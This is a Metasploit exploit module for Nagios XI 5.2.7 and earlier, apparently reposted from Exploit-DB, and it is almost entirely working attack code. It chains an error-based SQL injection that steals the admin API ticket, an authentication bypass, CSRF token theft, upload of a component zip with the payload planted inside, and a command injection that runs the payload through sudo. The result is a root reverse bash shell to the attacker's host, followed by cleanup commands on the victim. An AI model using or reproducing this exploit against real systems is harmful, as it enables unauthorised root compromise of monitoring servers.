Nagios XI Chained – Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2016-07-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40067/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'Nagios XI Chained Remote Code Execution',
    'Description' => %q{
    This module exploits an SQL injection, auth bypass, file upload,
    command injection, and privilege escalation in Nagios XI <= 5.2.7
    to pop a root shell.
    },
    'Author'=> [
    'Francesco Oddo', # Vulnerability discovery
    'wvu' # Metasploit module
    ],
    'References'=> [
    ['EDB', '39899']
    ],
    'DisclosureDate'=> 'Mar 6 2016',
    'License' => MSF_LICENSE,
    'Platform'=> 'unix',
    'Arch'=> ARCH_CMD,
    'Privileged'=> true,
    'Payload' => {
    'Compat'=> {
    'PayloadType' => 'cmd cmd_bash',
    'RequiredCmd' => 'generic bash-tcp php perl python openssl gawk'
    }
    },
    'Targets' => [
    ['Nagios XI <= 5.2.7', version: Gem::Version.new('5.2.7')]
    ],
    'DefaultTarget' => 0,
    'DefaultOptions'=> {
    'PAYLOAD' => 'cmd/unix/reverse_bash',
    'LHOST' => Rex::Socket.source_address
    }
    ))
    end
    
    def check
    res = send_request_cgi!(
    'method' => 'GET',
    'uri'=> '/nagiosxi/'
    )
    
    return unless res && (html = res.get_html_document)
    
    if (version = html.at('//input[@name = "version"]/@value'))
    vprint_status("Nagios XI version: #{version}")
    if Gem::Version.new(version) <= target[:version]
    return CheckCode::Appears
    end
    end
    
    CheckCode::Safe
    end
    
    def exploit
    if check != CheckCode::Appears
    fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!')
    end
    
    print_status('Getting API token')
    get_api_token
    print_status('Getting admin cookie')
    get_admin_cookie
    print_status('Getting monitored host')
    get_monitored_host
    
    print_status('Downloading component')
    download_profile_component
    print_status('Uploading root shell')
    upload_root_shell
    print_status('Popping shell!')
    pop_dat_shell
    end
    
    #
    # Cleanup methods
    #
    
    def on_new_session(session)
    super
    
    print_status('Cleaning up...')
    
    commands = [
    'rm -rf ../profile',
    'unzip -qd .. ../../../../tmp/component-profile.zip',
    'chown -R nagios:nagios ../profile',
    "rm -f ../../../../tmp/component-#{zip_filename}"
    ]
    
    commands.each do |command|
    vprint_status(command)
    session.shell_command_token(command)
    end
    end
    
    #
    # Exploit methods
    #
    
    def get_api_token
    res = send_request_cgi(
    'method' => 'GET',
    'uri'=> '/nagiosxi/includes/components/nagiosim/nagiosim.php',
    'vars_get' => {
    'mode' => 'resolve',
    'host' => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \
    'SELECT backend_ticket FROM xi_users WHERE user_id=1' \
    '),FLOOR(RAND(0)*2))x ' \
    'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '
    }
    )
    
    if res && res.body =~ /Duplicate entry '(.*?).'/
    @api_token = $1
    vprint_good("API token: #{@api_token}")
    else
    fail_with(Failure::UnexpectedReply, 'API token not found! punt!')
    end
    end
    
    def get_admin_cookie
    res = send_request_cgi(
    'method' => 'GET',
    'uri'=> '/nagiosxi/rr.php',
    'vars_get' => {
    'uid'=> "1-#{Rex::Text.rand_text_alpha(8)}-" +
    Digest::MD5.hexdigest(@api_token)
    }
    )
    
    if res && (@admin_cookie = res.get_cookies.split('; ').last)
    vprint_good("Admin cookie: #{@admin_cookie}")
    get_csrf_token(res.body)
    else
    fail_with(Failure::NoAccess, 'Admin cookie not found! punt!')
    end
    end
    
    def get_csrf_token(body)
    if body =~ /nsp_str = "(.*?)"/
    @csrf_token = $1
    vprint_good("CSRF token: #{@csrf_token}")
    else
    fail_with(Failure::UnexpectedReply, 'CSRF token not found! punt!')
    end
    end
    
    def get_monitored_host
    res = send_request_cgi(
    'method' => 'GET',
    'uri'=> '/nagiosxi/ajaxhelper.php',
    'cookie' => @admin_cookie,
    'vars_get' => {
    'cmd'=> 'getxicoreajax',
    'opts' => '{"func":"get_hoststatus_table"}',
    'nsp'=> @csrf_token
    }
    )
    
    return unless res && (html = res.get_html_document)
    
    if (@monitored_host = html.at('//div[@class = "hostname"]/a/text()'))
    vprint_good("Monitored host: #{@monitored_host}")
    else
    fail_with(Failure::UnexpectedReply, 'Monitored host not found! punt!')
    end
    end
    
    def download_profile_component
    res = send_request_cgi(
    'method' => 'GET',
    'uri'=> '/nagiosxi/admin/components.php',
    'cookie' => @admin_cookie,
    'vars_get' => {
    'download' => 'profile'
    }
    )
    
    if res && res.body =~ /^PK\x03\x04/
    @profile_component = res.body
    else
    fail_with(Failure::UnexpectedReply, 'Failed to download component! punt!')
    end
    end
    
    def upload_root_shell
    mime = Rex::MIME::Message.new
    mime.add_part(@csrf_token, nil, nil, 'form-data; name="nsp"')
    mime.add_part('1', nil, nil, 'form-data; name="upload"')
    mime.add_part('1000000', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
    mime.add_part(payload_zip, 'application/zip', 'binary',
    'form-data; name="uploadedfile"; ' \
    "filename=\"#{zip_filename}\"")
    
    res = send_request_cgi!(
    'method' => 'POST',
    'uri'=> '/nagiosxi/admin/components.php',
    'cookie' => @admin_cookie,
    'ctype'=> "multipart/form-data; boundary=#{mime.bound}",
    'data' => mime.to_s
    )
    
    if res && res.code != 200
    if res.redirect? && res.redirection.path == '/nagiosxi/install.php'
    vprint_warning('Nagios XI not configured')
    else
    fail_with(Failure::PayloadFailed, 'Failed to upload root shell! punt!')
    end
    end
    end
    
    def pop_dat_shell
    send_request_cgi(
    'method' => 'GET',
    'uri'=> '/nagiosxi/includes/components/perfdata/graphApi.php',
    'cookie' => @admin_cookie,
    'vars_get' => {
    'host' => @monitored_host,
    'end'=> ';sudo ../profile/getprofile.sh #'
    }
    )
    end
    
    #
    # Support methods
    #
    
    def payload_zip
    zip = Rex::Zip::Archive.new
    
    Zip::File.open_buffer(@profile_component) do |z|
    z.each do |f|
    zip.entries << Rex::Zip::Entry.new(
    f.name,
    (if f.ftype == :file
    if f.name == 'profile/getprofile.sh'
    payload.encoded
    else
    z.read(f)
    end
    else
    ''
    end),
    Rex::Zip::CM_DEFLATE,
    nil,
    (Rex::Zip::EFA_ISDIR if f.ftype == :directory)
    )
    end
    end
    
    zip.pack
    end
    
    #
    # Utility methods
    #
    
    def zip_filename
    @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
    end
    
    end